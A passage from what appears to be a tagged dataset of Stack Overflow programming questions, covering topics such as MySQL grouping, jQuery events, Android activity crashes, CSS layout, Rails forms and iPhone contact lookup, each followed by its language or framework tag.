(bn.no_of_books_procured) as procured      count(distinct mis.id_missingbooks_pid) as missing      count( case when bs.dis_disbursed_return!=0 then       bs.dis_disbursed_return end) as disbursed from tbl_limgt_booksmissing_lost_adjust mis join tbllibmange_disbursement bs on mis.book_name_missingbk=bs.dis_book_name_fk_id            join tbl_inventorylibbooks bn on bs.dis_book_name_fk_id=bn.id_inventory where bn.id_inventory=14 group by bn.id_inventory </code></pre>   i am getting duplicate entries     <a href= https://i.stack.imgur.com/clvgg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/clvgg.png  alt= this is the result of above query ></a>,mysql
serving lots of small images as one file  simple. when a html page contains a lot of small images it will take some time to have it completely rendered  especially since each file needs to be requested separately. for example  if you have 500 32x32 avatar images which you want to display  then the browser needs to do 500 requests with 500 headers resulting in 500 responses also with headers. thus  a lot of traffic.<br /> to reduce the amount of traffic  i would think it would be better to send all files as a single request/response and have some client script do the splitting of this file into separate images  to be placed wherever needed. thus  the browser executes a script  the script requests for the image package  the server returns the package and then the script would put those images in it s proper locations. thus  one request/response instead of 500 requests/responses.<br />has something similar been created already  if so  by whom,html
cannot read xml external feed despite having correct url  i m trying to read the contents of an external xml feed. when i view the link in the browser it renders the xml contents as it should  but when i run it in my browser i get errors.  my code is as follows:    <pre><code>&lt; php $url =  http://www.thebigchoice.com/feeds/job_xml.php ;  $xml = simplexml_load_file($url);   print_r($xml);  &gt; </code></pre>   here is the error that i m getting:    <pre><code>( ! ) warning: simplexml_load_file() [function.simplexml-load-file]: http://www.thebigchoice.com/feeds/job_xml.php:1: parser error : start tag expected   &lt;  not found in c:\wamp2\www\phpacademy\thebigchoice\tmpr785mziagz.php on line 14 call stack #   time    memory  function    location 1   0.0004  365880  {main}( )   ..\tmpr785mziagz.php:0 2   0.0004  366048  simplexml_load_file ( ) ..\tmpr785mziagz.php:14  ( ! ) warning: simplexml_load_file() [function.simplexml-load-file]: unknown type: [8] undefined index: http_user_agent&lt;br /&gt; in c:\wamp2\www\phpacademy\thebigchoice\tmpr785mziagz.php on line 14 call stack #   time    memory  function    location 1   0.0004  365880  {main}( )   ..\tmpr785mziagz.php:0 2   0.0004  366048  simplexml_load_file ( ) ..\tmpr785mziagz.php:14  ( ! ) warning: simplexml_load_file() [function.simplexml-load-file]: ^ in c:\wamp2\www\phpacademy\thebigchoice\tmpr785mziagz.php on line 14 call stack #   time    memory  function    location 1   0.0004  365880  {main}( )   ..\tmpr785mziagz.php:0 2   0.0004  366048  simplexml_load_file ( ) </code></pre>,php
how to change hidden value with jquery after clicking div  i am appending some images in a function but when i click on any of the appended images i want to change the hidden value to  yes . it is by default set to  no .   <pre><code>var id = $(this).data( id ); $(  .thumbs  ).append( &lt;div class= thumb-wrapper  data-name=   + $(this).val() +   &gt;&lt;img class= loading  src= uploads/  +$(this).val()+  &gt;&lt;div class= thumbs-close  data-id=   + id +   &gt;x&lt;/div&gt;&lt;input type= hidden  name= featured  value= no  id= hidden &gt;&lt;/div&gt; ); </code></pre>   here is the code for when i click on the thumb-wrapper class:   <pre><code>$(  .thumbs  ).on( click    .thumb-wrapper   function(e) {         var hidden = $(this).closest( #hidden ).val( yes );         alert(hidden); </code></pre>   this currently alerts  undefined .    an example of the generated html is:   <pre><code>&lt;div class= thumbs &gt;  &lt;div class= thumb-wrapper  data-name= chocolate.jpg &gt;  &lt;img class= loading  src= uploads/chocolate.jpg &gt;&lt;div class= thumbs-close  data-id= image_8 &gt;x&lt;/div&gt;  &lt;input type= hidden  name= featured  value= no  id= hidden &gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>,jquery
how to handle/convert    in c#  in c# convert.toint32() and any method of convert class can handle null values but all these method not handling    as input. throws an error  input string not in correct format  is there any way to handle/convert    to its specific value  like   <pre><code>convert.toint32(  ) convert to 0 convert.todecimal(  ) convert to 0.0 </code></pre>   with out using if conditions    thanks.,c#
can jquery be relied upon   i m doing a piece of jquery code that will change the attributes within hundreds of html elements.    can jquery be relied upon entirely to perform such tasks     is there a chance that jquery code would leave my page inconsistent     eg.  by not quite completing the task that i expect it to.,jquery
use of the last else statement in else-if construction  in the book  the c programming language  its written that the last else statement in else-if construction can be used for error checking to catch an impossible condition.     can anyone provide a simple example for this,c
will installing .net 1.1 or 2.0 on my computer that already has .net 4.5 screw things up   i sometimes feel like looking at the source code as it might have been inside an assembly when it was in .net 2.0 or .net 1.1.    for example  the apm methods such as <code>filestream.beginread</code> etc. have since .net v4.0 been implemented using tpl but i want to see what the source code of this method was like during .net 2.0 days or at .net 1.1 time.    so  i would like an earlier version of the whole framework on my machine though i would not want it to replace anything in the gac or screw up asp.net or iis installations telling them that they need to use it because it was installed later than the presently existing .net 4.5.x.    will installing .net 1.1 on my 64-bit windows 7 home premium edition laptop be safe or will it screw things up,.net
how to remove unused code from r.java  i got an error in logcat:   <blockquote>    recyclerview: no adapter attached; skipping layout   </blockquote>   but i did not use <code>recyclerview</code> in my project  when i find <code>recyclerview</code> in my complete project it will be generated in r.java file about 51 times but i do not use in my project as i clean and rebuild my project but nothing happens.    what s going on,android
jquery function declaration  what is the difference between $.myfunc and $.fn.myfunc  i can see one needs return value and use $().myfunc() to invoke while the other one is not. can the community suggest me some reference or keywords to get more understanding  thanks.,jquery
css why doesn t this work   its not showing the right border   <pre><code>&lt;th style= border-style:solid; border-right:1px; border-left:0px; border-bottom:0px; border-top:0px; &gt;s   &lt;/th&gt; </code></pre>,css
how to implement pagination in list view in android  how do i implement pagination in list view in android  i have to show 10 records per page. if the user clicks the next button i have to show another 10 records  and so on. can anybody tell me how to do this     thanks,android
how i can pass checkbox value using href in php   i want to do multiple delete using href link  how can i done      this code generate given below error.   <pre><code>notice: undefined index: action in c:\xampp\htdocs\montu\montu\multiple.php on line 32  warning: implode() [function.implode]: invalid arguments passed in c:\xampp\htdocs\montu\montu\multiple.php on line 32    &lt;body&gt;     &lt;form method= post  action= &lt; php $_php_self  &gt; &gt;         &lt;table&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;input type= checkbox  name= action[]  value= 1 &gt;1                 &lt;/td&gt;                 &lt;td&gt;                     &lt;input type= checkbox  name= action[]  value= 2 &gt;2                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;a href=  id &gt;click me..&lt;/a&gt;                 &lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;     &lt;/form&gt;  &lt; php      if(isset($_request[ id ]))     {         $action=implode(    $_request[ action ]);//convert array value to string values         echo $action;     }  &gt; </code></pre>,php
iphone sdk: how to manipulate a txtfield  trying to manipulate the contents of a txtfield in the textfielddidendediting. what we want to do is rotate the entire contents left and then append the current character at the end. this is to allow a user to enter a money value without a decimal point.    this is what we have so far but i m not sure this is the best way to approach this. nor is this code working as expected.    any help appreciated.   <pre><code>//easier input for total if (textfield == txtgrandtotal) {     //copy contents of total to string2     nsstring *string1 = txtgrandtotal.text;     nsmutablestring *string2;      //now string2 contains the buffer to manipulate     string2 = [nsmutablestring stringwithstring: string1];      //so  copy it to strmoney2     strmoney2 = string2;      int charindex;     //for all character in strmoney2  move them rotated left to strmoney1     for (charindex = 0; charindex &lt; [strmoney2 length]; charindex++)     {         nsstring *strchar = [strmoney2 substringwithrange: nsmakerange(charindex  1)];         [strmoney1 insertstring:strchar atindex:charindex+1];     }      //now append the current character to strmoney1     nsstring *strcurrentchar = [string1 substringwithrange: nsmakerange([string1 length]  1)];           [strmoney1 appendstring:strcurrentchar];       //move manipulated string back to txtgrandtotal     txtgrandtotal.text = strmoney1; } </code></pre>,iphone
printing only integer arguments in variable argument function in c  i want to write a c function  which can take any number of arguments and print value of <code>int</code> arguments only. i saw <code>va_list</code> and <code>va_arg</code> in <code>stdarg.h</code>  but i couldn t find any mechanism to get the number of arguments. i cannot take first argument as the number of arguments.,c
how to delete a record from production in rails  on the odd occasion  i need to delete a record from the production database  but i don t keep a <code>destroy</code> link in the view.  so at the moment  i m just adding:   <pre><code>&lt;%= link_to  destroy   coffeeshop_path(@coffeeshop)                method: :delete                data: { confirm:  are you sure   } %&gt; </code></pre>   and pushing it live when i need it.  this is far from ideal. is there another way to do this such as when we append the url with <code>new</code> or <code>edit</code>. i tried adding <code>destroy</code> or even <code>delete</code> but this obviously doesn t work.,ruby-on-rails
why all the relative urls become absolute   downloaded a php software and put in /var/www/registration directory (in particular  index.php is in this directory). this page references some images like:   <pre><code>  &lt;img src= assets/img/01.jpg  alt= pic 1  /&gt; </code></pre>   the problem is  when i point my browser to    <pre><code>  http://myserver/registration    </code></pre>   html page is fine but the images can t load.  using google chrome developer console  i saw my browser (chrome) is making request to    <pre><code>  http://myserver/assets/img/01.jpg    </code></pre>   it should have requested    <pre><code>  http://myserver/registration/assets/img/01.jpg. </code></pre>,html
calling the c function within printf statement   what is the output of this code    <pre><code>#include&lt;stdio.h&gt; //int a; int main() { int a=2; printf( %d  f1()); } void f1() { int b; ++b; } </code></pre>   i haven t specified the prototype for f1()   even though its printing  output as 0  could some one explain this   and the same output is printing even though function s return type is  int,c
hot to get query string from python script (using pyisapi on iis)  i ve done everything from this blog <a href= http://geographika.co.uk/setting-up-python-on-iis7  rel= nofollow >http://geographika.co.uk/setting-up-python-on-iis7</a>. i m using only python 2.6 (not django) and want to get query string parameters in my python script.    for example  during the execution of <code>http://localhost/myapp/program.py par=test</code>    how to get value test in my script program.py:   <pre><code>from http import * def request():     header( content-type: text/html )     write(get_param( par )) </code></pre>   thanks.,python
call a method inside a java-script class from another method inside the same class  i m trying to make my own class so maintaining could be a lot easier but i have problem  here is my code :   <pre><code>var sonalscript = function() { console.log( instance created );     this.ajaxcall = function(url data){       $.post(url data function(data status){             alert( data:   + data +  \nstatus:   + status);           }); }  this.switches = function(elemidentifier) {     $(elemidentifier).bootstrapswitch();     $(elemidentifier).on( switchchange.bootstrapswitch   function(event  state) {         //  console.log( $(this).get( name ));         var modulename = $(this).attr( name );         var name = $(this).data( name ) ;         var btnvalue = $(this).data( value ) ;         var url = $(this).data( addr ) ;         var btnresult =   ;         if (state) {         // data-addr         // data-name         // data-value         // result = true or false         btnresult =  true ;         //  alert( enabling :   + modulename );          } else {          btnresult =  false ;         //  alert( disabling :   + modulename);         }        //  alert(result);          var data = { name:btnvalue   result : btnresult };         console.log(data);         console.log(url);         this.ajaxcall(url data); // &lt;&lt; problem is exactly this line      });   }   };   sonalutil = new sonalscript(); </code></pre>   when i m trying to call:             this.ajaxcall(url data);  then i got this error in console :    <pre><code> uncaught typeerror: undefined is not a function </code></pre>   what do you think   what makes the error,javascript
decomposing number created by a formula  i have a  formula  to build a number that is this: <code>parameter + ( 256 * i )</code> where <code>i</code> represents numbers from 0 to 10.    if <code>i = 0</code> i get the naked <code>parameter</code> value  thats no problem. the problem is that i don t know how to even find out if the <code>i</code> variable was 0 or have any other value.    for example  if i receive value 786  i know that this means: <code>274 + (256 * 2)</code> but ow can i make a code to find out if i gave it any value,c#
mysql group first last row  i have a database table like this:   <pre><code>id     date                     value    minute 1      20100201 00:00:01.909    xxx      0    2      20100201 00:00:02.408    xxx      0 3      20100201 00:01:02.412    xxx      1  4      20100201 00:01:02.909    xxx      1  5      20100201 00:01:02.921    xxx      1    6      20100201 00:01:02.955    xxx      1 7      20100201 00:02:01.903    xxx      2 8      20100201 00:02:25.332    xxx      2 9      20100201 00:03:12.003    xxx      3 10     20100201 00:04:12.003    xxx      4 </code></pre>   ...    i want the results to be:   <pre><code>id    date                      value1   minute 1      20100201 00:00:01.909    xxx      0    2      20100201 00:00:02.408    xxx      0 3      20100201 00:01:02.412    xxx      1 6      20100201 00:01:02.955    xxx      1 7      20100201 00:02:01.903    xxx      2 8      20100201 00:02:25.332    xxx      2 9      20100201 00:03:12.003    xxx      3 </code></pre>   i want to query it and return the id with the first &amp; last number for each minute and 1 record per minute if only 1 exists (so id 1 2 3 6 7 8 9 in the above).    i ve tried using group by ordering by id asc - group by minute but it seems to order after its grouped  so this doesn t work.    anyone got any ideas  i can t believe it can t be done!,mysql
mysql insert large number of rows or save array as string field  i have two tables  bundles  and  pages2bundles . each item in the  bundles  table is a reference to a document in a third table called  documents .     each document reference in  documents  is unique.  bundles  may contain duplicate references from the  documents  table.    i allow users to create and save  bundles  to he database. these can be created following a search of the  documents  table in which case all that needs to be done is to save the document reference to the  bundles  table. each bundle may run to several thousand document references.     there is also a table  texts  which contains the ocr text from each document. my users can create bundles by searching the  texts  table. these searches need to retain the id of both the document and the individual page nos returned by the search. saving these bundles could easily result in the need to insert upwards of 100 000 page references into  pages2bundles .    i haven t gone live with this yet. i have tested it myself with upwards of 100 000 pages and both insertion times and reloading of the bundle are reasonable. both tables have all necessary fields indexed.    however  there could be a lot of these bundles being created  which presumably would eventually have a hit on performance.    i was wondering if there was any good reason why i should not just dispose of  pages2bundles  and instead store the page no references for each document in  bundles  as a simple csv test array. i have no need (as far as i can so far see) to search for page no references in  pages2bundles . and i would assume this would improve server performance by passing the burden of dealing with the array to the client.    i would welcome any views as to pros and cons of dealing with the page refs as a text array.,mysql
java.lang.runtimeexception: unable to start activity componentinfo  i know this error appeared on forum million of times  but please help me find what i missed. i m trying to do simple tab orientated application i don t have much (except errors)    1) my main activity is based on tablayout tutorial what i found   <pre><code>public class maintabpanel extends tabactivity {      public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.mainlayout);         resources res = getresources();         tabhost tabhost = gettabhost();         tabhost.tabspec spec;         intent intent;         intent = new intent().setclass(this  mybookactivity.class);         spec = tabhost.newtabspec( main )                 .setindicator( main   res.getdrawable(r.drawable.ic_mybook))                 .setcontent(intent);         tabhost.addtab(spec);         tabhost.setcurrenttab(0);     }  } </code></pre>   2) mainlayout.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;tabhost xmlns:android= http://schemas.android.com/apk/res/android   android:id= @android:id/tabhost   android:layout_width= fill_parent   android:layout_height= fill_parent &gt;  &lt;linearlayout      android:orientation= vertical       android:layout_width= fill_parent          android:layout_height= fill_parent             android:padding= 5dp &gt;  &lt;tabwidget    android:id= @android:id/tabs     android:layout_width= fill_parent    android:layout_height= wrap_content  /&gt;            &lt;framelayout         android:id= @android:id/tabcontent     android:layout_width= fill_parent       android:layout_height= fill_parent    android:padding= 5dp  /&gt;     &lt;/linearlayout&gt;&lt;/tabhost&gt; </code></pre>   3) my second activity is basically almost empty  it;s just display current date and time  worked before i tried to add tab panel    4) my manifest file   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= org.th.mybook      android:versioncode= 1      android:versionname= 1.0  &gt;     &lt;uses-sdk android:minsdkversion= 8  /&gt;     &lt;application         android:icon= @drawable/ic_launcher          android:label= @string/app_name  &gt;         &lt;activity             android:name= .maintabpanel              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity             android:name= mybookactivity              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.alternative  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;     &lt;/application&gt; &lt;/manifest&gt; </code></pre>   5 log cat error   <pre><code>02-10 21:04:45.203: e/androidruntime(1107): fatal exception: main 02-10 21:04:45.203: e/androidruntime(1107): java.lang.runtimeexception: unable to start activity componentinfo{org.th.mybook/org.th.mybook.maintabpanel}: java.lang.runtimeexception: unable to instantiate activity componentinfo{org.th.mybook/org.th.mybook.mybookactivity}: java.lang.nullpointerexception 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.performlaunchactivity(activitythread.java:2663) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2679) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.access$2300(activitythread.java:125) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread$h.handlemessage(activitythread.java:2033) 02-10 21:04:45.203: e/androidruntime(1107):     at android.os.handler.dispatchmessage(handler.java:99) 02-10 21:04:45.203: e/androidruntime(1107):     at android.os.looper.loop(looper.java:123) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.main(activitythread.java:4627) 02-10 21:04:45.203: e/androidruntime(1107):     at java.lang.reflect.method.invokenative(native method) 02-10 21:04:45.203: e/androidruntime(1107):     at java.lang.reflect.method.invoke(method.java:521) 02-10 21:04:45.203: e/androidruntime(1107):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:868) 02-10 21:04:45.203: e/androidruntime(1107):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:626) 02-10 21:04:45.203: e/androidruntime(1107):     at dalvik.system.nativestart.main(native method) 02-10 21:04:45.203: e/androidruntime(1107): caused by: java.lang.runtimeexception: unable to instantiate activity componentinfo{org.th.mybook/org.th.mybook.mybookactivity}: java.lang.nullpointerexception 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.performlaunchactivity(activitythread.java:2585) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.startactivitynow(activitythread.java:2503) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.localactivitymanager.movetostate(localactivitymanager.java:127) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.localactivitymanager.startactivity(localactivitymanager.java:339) 02-10 21:04:45.203: e/androidruntime(1107):     at android.widget.tabhost$intentcontentstrategy.getcontentview(tabhost.java:651) 02-10 21:04:45.203: e/androidruntime(1107):     at android.widget.tabhost.setcurrenttab(tabhost.java:323) 02-10 21:04:45.203: e/androidruntime(1107):     at android.widget.tabhost.addtab(tabhost.java:213) 02-10 21:04:45.203: e/androidruntime(1107):     at org.th.mybook.maintabpanel.oncreate(maintabpanel.java:30) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.performlaunchactivity(activitythread.java:2627) 02-10 21:04:45.203: e/androidruntime(1107):     ... 11 more 02-10 21:04:45.203: e/androidruntime(1107): caused by: java.lang.nullpointerexception 02-10 21:04:45.203: e/androidruntime(1107):     at android.content.contextwrapper.getapplicationcontext(contextwrapper.java:100) 02-10 21:04:45.203: e/androidruntime(1107):     at org.th.mybook.mybookactivity.&lt;init&gt;(mybookactivity.java:16) 02-10 21:04:45.203: e/androidruntime(1107):     at java.lang.class.newinstanceimpl(native method) 02-10 21:04:45.203: e/androidruntime(1107):     at java.lang.class.newinstance(class.java:1429) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.instrumentation.newactivity(instrumentation.java:1021) 02-10 21:04:45.203: e/androidruntime(1107):     at android.app.activitythread.performlaunchactivity(activitythread.java:2577) 02-10 21:04:45.203: e/androidruntime(1107):     ... 20 more </code></pre>   please help me  and tell me what i missed  im comparing this code with my old one and i can t find anything regards    6) my book activity   <pre><code>public class mybookactivity extends activity {     java.text.dateformat dateformat = android.text.format.dateformat.getdateformat(getapplicationcontext());       @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);         digitalclock clock = (digitalclock) findviewbyid(r.id.digitalclock1);         final textview date = (textview) findviewbyid(r.id.textview1);         date.settext(dateformat.format(new date()));         textwatcher watcher = new textwatcher() {              @override             public void aftertextchanged(editable s) {             }              @override             public void beforetextchanged(charsequence s  int start  int count                      int after) {             }              @override             public void ontextchanged(charsequence s  int start  int before                      int count) {                  if (s.tostring().startswith( 00:00:00 )                         || s.tostring().startswith( 12:00:00 )) {                     date.settext(dateformat.format(new date()));                 }             }         };         clock.addtextchangedlistener(watcher);      } } </code></pre>   7) main.xml layout -> for my book activity   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent      android:gravity= right      android:orientation= horizontal  &gt;       &lt;linearlayout         android:id= @+id/datepanel1          android:layout_width= wrap_content          android:layout_height= wrap_content  &gt;           &lt;textview             android:id= @+id/textview1              android:layout_width= match_parent              android:layout_height= wrap_content              android:layout_marginright= @dimen/space              android:layout_weight= 1              android:text= textview  /&gt;          &lt;digitalclock             android:id= @+id/digitalclock1              android:layout_width= 0dp              android:layout_height= wrap_content              android:layout_weight= 1              android:text= digitalclock  /&gt;     &lt;/linearlayout&gt;  &lt;/linearlayout&gt; </code></pre>,android
camera issues on evo 4g  my app makes use of the camera. after a lot of optimization  everything works fine on the 10+ other devices i ve tested on. on the evo  however  the app just freezes up when i try to take a photo with the camera. in logcat  i see <code>i/cameraservice(   70): unknow capture mode!!</code> i have no other information really (i can t track down the source code for cameraservice). no idea if there is some offensive parameters that i m setting on the camera or what else...    sometimes the phone just shuts down completely when i try taking the photo.    also  i did happen to find others will troubles on the evo: <a href= http://androidforums.com/evo-4g-support-troubleshooting/94822-camera-problem-evo.html  rel= nofollow >http://androidforums.com/evo-4g-support-troubleshooting/94822-camera-problem-evo.html</a>    any ideas,android
sendsubviewtoback question:where to send  i have a uiview and there are 5 subviews on it with index    0 1 2 3 4 5    i hope to know    for the subview with index 5: subview5    the code   <pre><code>[self.subview5 sendsubviewtoback] </code></pre>   send the subview to 4 or 0     thanks    interdev,iphone
rails not acessing fields values  model   <pre><code>class register &lt; activerecord::base attr_accessor   :code belongs_to :user end  class user &lt; activerecord::base has_many :register end </code></pre>   controller   <pre><code>def index     @registers = register.all end </code></pre>   view   <pre><code> &lt;p&gt; all registers &lt;/p&gt;  &lt;table&gt;  &lt;tr&gt;  &lt;td&gt; user &lt;/td&gt;  &lt;td&gt; point &lt;/td&gt;  &lt;/tr&gt;  &lt;% @registers.each do |u| %&gt;  &lt;tr&gt;  &lt;td&gt; &lt;%= u.user.name %&gt; &lt;/td&gt;  &lt;td&gt; &lt;%= u.hour %&gt; &lt;/td&gt;  &lt;/tr&gt;  &lt;% end %&gt;  &lt;/table&gt; </code></pre>   it onlys display name instead of the field value and the console is giving me this error    <pre><code>no such column: users.register_id: select   users .* from  users  where  users . register_id  =   limit 1 </code></pre>,ruby-on-rails
adding css class on rowdatabound  i m trying to append a css class to a row on rowdatabound.  i m using the alternating css class property against the gridview  so i m assuming this is applied on rowdatabound.  if you assign a css class programatically to the cssclass property of the row within the rowdatabound event then the alternating row style css class is not applied  <em>even if you append the css class</em>.    here s what i ve got:   <pre><code>protected sub gvgeneral_rowdatabound(byval sender as object  byval e as system.web.ui.webcontrols.gridviewroweventargs) handles gvgeneral.rowdatabound     if e.row.rowtype = datacontrolrowtype.datarow then       if previousexpensetype &lt;&gt; e.row.cells(2).text and previousexpensetype.length &gt; 0 then         e.row.cssclass +=  bottom-border        end if        previousexpensetype = e.row.cells(2).text     end if   end sub </code></pre>   <code>previousexpensetype</code> is just a string which i m doing comparisons against.  if the expense type changes  then i want to have a border applied to the bottom of the <code>&lt;tr&gt;</code> element.    any ideas how to get around this  it seems there s an event after rowdatabound that s applying the alternating row style css class to the row.,asp.net
group by - counting rows and if not existing add row with 0 value  i know i already asked a similar question  but here i start from zero... without giving any query i tried so i don t influance you.    if this is my table:   <pre><code>status  pgid    nvarchar5               nvarchar10  catid   tp_id   isactive it      null    information technology  null        1       1       1 hr      null    human recource          null        1       2       1 fin     null    finance                 null        1       3       1 new        1    null                    1354        2       10001   1 new        1    null                    464         2       10002   1 new        1    null                    13465       2       10003   1 active     1    null                    79846       2       10004   1 deleted    1    null                    132465      2       10005   1 new        2    null                    79847       2       10006   1 new        2    null                    341         2       10007   1 deleted    2    null                    465         2       10008   1 deleted    2    null                    132         2       10009   1 deleted    2    null                    465         2       10010   1 deleted    2    null                    1           2       10011   1 new        3    null                    465         2       10012   1 new        3    null                    1465        2       10013   1 new        3    null                    132         2       10014   1 null    null    null                    null        3       20136   1 null    null    null                    null        4       22165   1 null    null    null                    null        3       24566   1 null    null    null                    null        10      24566   1 </code></pre>   what should be the query if i want a result like this:   <pre><code>status  pgid    nvarchar5               total new     1       information technology  3 active  1       information technology  1 deleted 1       information technology  1 new     2       human recource          2 active  2       human recource          0 deleted 2       human recource          4 new     3       finance                 3 active  3       finance                 0 deleted 3       finance                 0 </code></pre>   or is this not possible     edit: if you want to see what i ve tried: <a href= https://stackoverflow.com/questions/22530315/wrong-number-in-count >wrong number in count()</a>    update: how i calculate my total: <img src= https://i.stack.imgur.com/iahvd.png  alt= enter image description here >,sql
asp string concatenation from web.config in img src  i am trying to retrieve a path string from my web config file and use that plus the file name to get the url of the image i need. i think it should be something like this:   <pre><code>&lt;asp:image imageurl = &lt;%# system.configuration.configurationmanager.appsettings[ apppath ] +  &amp;images/headerbk01.jpg %&gt;  runat = server  width= 983  height= 265  /&gt; </code></pre>   which gives me an empty string for the source.    edit:    now using this:   <pre><code>&lt;asp:image imageurl = &lt;%=system.configuration.configurationmanager.appsettings[ apppath ]+ &amp;images/headerbk01.jpg %&gt;  runat = server  width= 983  height= 265  /&gt; </code></pre>   produces this as html:   <pre><code>&lt;img style= width: 983px; height: 265px;  src= &lt;=system.configuration.configurationmanager.appsettings[ apppath ]+ &amp;images/headerbk01.jpg %&gt; /&gt; </code></pre>,asp.net
making a form to update multiple users at once  i m trying to make a form that updates the values of multiple users with one submit button. here s my (obviously misguided) attempt:   <pre><code>&lt;h1&gt;set days&lt;/h1&gt; &lt;%= form_for user do |f| %&gt;   &lt;% f.fields_for :all do |user_form| %&gt;     &lt;div class= row &gt;       &lt;div class= col-md-3 &gt;         &lt;span&gt;&lt;%= user_form.label :name %&gt;&lt;/span&gt;       &lt;/div&gt;       &lt;div class= col-md-9 &gt;         &lt;%= f.fields_for user.name do |user_form| %&gt;           &lt;table class= days-table &gt;             &lt;tr&gt;               &lt;td&gt;m&lt;/td&gt;               &lt;td&gt;tu&lt;/td&gt;               &lt;td&gt;w&lt;/td&gt;               &lt;td&gt;th&lt;/td&gt;               &lt;td&gt;f&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td&gt;&lt;%= user_form.check_box :monday  {}  true  false %&gt;&lt;/td&gt;               &lt;td&gt;&lt;%= user_form.check_box :tuesday  {}  true  false %&gt;&lt;/td&gt;               &lt;td&gt;&lt;%= user_form.check_box :wednesday  {}  true  false %&gt;&lt;/td&gt;               &lt;td&gt;&lt;%= user_form.check_box :thursday  {}  true  false %&gt;&lt;/td&gt;               &lt;td&gt;&lt;%= user_form.check_box :friday  {}  true  false %&gt;&lt;/td&gt;             &lt;/tr&gt;           &lt;/table&gt;         &lt;% end %&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;% end %&gt;   &lt;%= f.submit  save   class:  btn btn-primary  %&gt; &lt;% end %&gt; </code></pre>   i get this error with this code:   <pre><code>undefined method `to_key  for #&lt;class:0x007fdcda98dc08&gt; </code></pre>,ruby-on-rails
issue with css triangle  i m trying to make some triangles but it ain t working like i want to  look at this:   <pre><code>&lt;th&gt;&lt;a href= # &gt;rent&lt;/a&gt; &lt;div class= triangle-up &gt;&lt;/div&gt;&lt;/th&gt; </code></pre>   with this css:   <pre><code>.triangle-down {     width: 0;     height: 0;     border-style: solid;     border-width: 5px 6px 0 6px;     border-color: #fff transparent transparent transparent;     display: inline-flex; }  .triangle-up {     width: 0;     height: 0;     border-style: solid;     border-width: 0 6px 5px 6px;     border-color: transparent transparent #fff transparent;     display: inline-flex; }  th {     text-align: left;     text-shadow: -1px -1px #000000;     background-image: -webkit-linear-gradient(top  #222222  #161717);     height: 20px;     padding: 7px; } </code></pre>   this is the result:     <img src= https://i.stack.imgur.com/nzwbs.jpg  alt= enter image description here >    as you can see  when using triangle-up it is not aligned with the text  which i want it to.    what can i do,css
iphone: control to change date (besides picker)  the iphone calendar app has a control on top that allows you to change the date from today to yesterday or tomorrow... does the iphone api come with this control for free  or do i have to implement it     <img src= https://i.stack.imgur.com/fmsov.png  alt= enter image description here >,iphone
call new view on the click of detail disclosure button  in my application i am using mapkit. all the time i have more than one annoatations on the map. in the callout i have placed the detaildisclosurebutton. on the click of this button i want to load new viewcontroller. how to do this     thanks in advance.,iphone
checking whether the number is in phone contacts are not  i want to check whether the given number is in phone book or not programatically .    i am able to display the contact name of the given number if it is exists in phone book but the program crashes when there is no contact with that number in phone book ... but what i want is to display name if it exists in phone book..... and display the number if if is not in phone book...... and my code is as follows....    nsmutablearray *names = [[nsmutablearray alloc] init];     nsmutablearray *phonenumbers = [[nsmutablearray alloc] init];   <pre><code>abaddressbookref addressbook = abaddressbookcreate(); nsarray *thepeople = (nsarray *)abaddressbookcopyarrayofallpeople(addressbook);  nsstring *name; for (id person in thepeople) {      name = (nsstring *)abrecordcopyvalue(person  kabpersonfirstnameproperty);     nslog(@ !!!!!! name ---&gt; %@  name);     abmultivalueref multi = abrecordcopyvalue(person  kabpersonphoneproperty);     int count1=abmultivaluegetcount(multi);     nslog(@ %d  count1);      if ([name length]&gt;0 &amp;&amp; count1!=0)      {         nsstring *beforenumber = (nsstring *)abmultivaluecopyvalueatindex(multi  0);         nslog(@  contacts:%@  beforenumber );         nsstring* removed1=[beforenumber stringbyreplacingoccurrencesofstring:@ - withstring:@  ];         nsstring* removed2=[removed1 stringbyreplacingoccurrencesofstring:@ ) withstring:@  ];         nsstring* removed3=[removed2 stringbyreplacingoccurrencesofstring:@   withstring:@  ];         nsstring* removed4=[removed3 stringbyreplacingoccurrencesofstring:@ ( withstring:@  ];         nsstring* removed5=[removed4 stringbyreplacingoccurrencesofstring:@ + withstring:@  ];          [names addobject:name];         [phonenumbers addobject:removed5];      }  } int barindex = -1; barindex 